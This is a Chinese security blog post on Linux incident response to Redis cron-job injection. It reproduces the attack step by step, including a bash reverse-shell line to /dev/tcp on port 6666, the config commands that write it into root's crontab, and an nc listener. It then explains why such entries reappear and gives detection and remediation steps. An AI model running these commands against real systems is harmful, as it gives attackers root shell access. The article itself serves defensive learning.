声明
本公众号发表的文章仅用于学习和交流,请勿用于非法途径,如果文章中涉及到侵权,请及时联系公众号进行删除。
漏洞原理
通过未授权或弱密码连接数据库之后,修改redis备份目录和参数,实现在主机的计划任务文件中写入定时反弹shell的命令,从而获取主机权限。
漏洞复现
1.先远程连接redis数据库。
redis-cil -h 【IP】 -p
6379
-a 密码
或者连接后在输入auth 密码
2.连接数据库后,依次执行下面的命令,就完成写入了。
建立计划任务
set x "n* * * * * /bin/bash -i > /dev/tcp/192.168.1.1/6666 0<&1 2>&1n"
将计划任务放到定时任务下
config set dir /var/spool/cron/
设置以root用户的身份执行该任务(其实就是计划任务目录下的文件名)
config set dbfilename root
保存
save
3.写入计划任务如何判断有没有成功?在vps监听6666端口
nc -lvnp
6666
成功反弹shell到vps。
计划任务命令能够看到写入的反弹shell的命令。
至此攻击过程完成。
异常行为
在应急过程中发现计划任务被反复写入,删除了就写入,所以研究了下为什么导致。
1.复现重复写入计划任务:
首先删除机器的计划任务。
再次运行save,写入成功,这个时候我们没有设置目录,因为前面已经设置过了,只输入了保存命令。所以如果在应急过程中发现Redis计划任务反复写入,可以跟业务确认下Redis是不是存在备份计划,会定期执行save保存备份。
排查思路
1.全盘搜索redis.conf文件,搜索文件中的pass字段,找到:requirepass,确认是否设置密码,是否设置强密码;
2.连接本机的redis,排查config get dir,查看设置的备份目录是否是计划任务目录;
3.查看写入的二进制文件是不是REDIS开头;
恢复:
1.修改redis的密码,密码已泄露,在redis.conf文件中修改,修改密码会影响到业务写入数据库,所以业务配置里面也需要一并修改;
2.修改redis的备份目录,使用命令:config set dir "需要备份的目录";
set
x
"0"
config
set
dir /tmp
save
3.重启redis。
本公众号持续更新精彩内容,欢迎关注!
原文始发于微信公众号(安服仔的救赎):Linux应急之Redis写入计划任务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论